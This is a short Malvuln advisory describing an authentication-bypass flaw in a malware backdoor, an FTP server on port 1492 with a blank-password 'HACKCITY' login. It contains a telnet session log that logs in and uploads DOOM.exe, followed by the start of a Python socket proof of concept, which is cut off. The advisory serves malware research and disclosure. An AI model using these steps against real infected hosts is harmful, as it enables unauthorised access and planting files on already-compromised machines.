Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
230 User HACKCITY logged in
214- The following commands are recognized (* => unimplemented).
USER PORT RETR ALLO DELE SITE XMKD CDUP
PASS PASV STOR REST CWD STAT RMD XCUP
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU
REIN STRU SMNT RNTO LIST NOOP PWD SIZE
QUIT MODE SYST ABOR NLST MKD XPWD MDTM
214 Serv-U, registered to: Data Case
215 UNIX Type: L8
227 Entering Passive Mode (192,168,18,129,206,190)
150 Opening ASCII mode data connection for DOOM.exe.
226 Transfer complete - file DOOM.exe received successfully
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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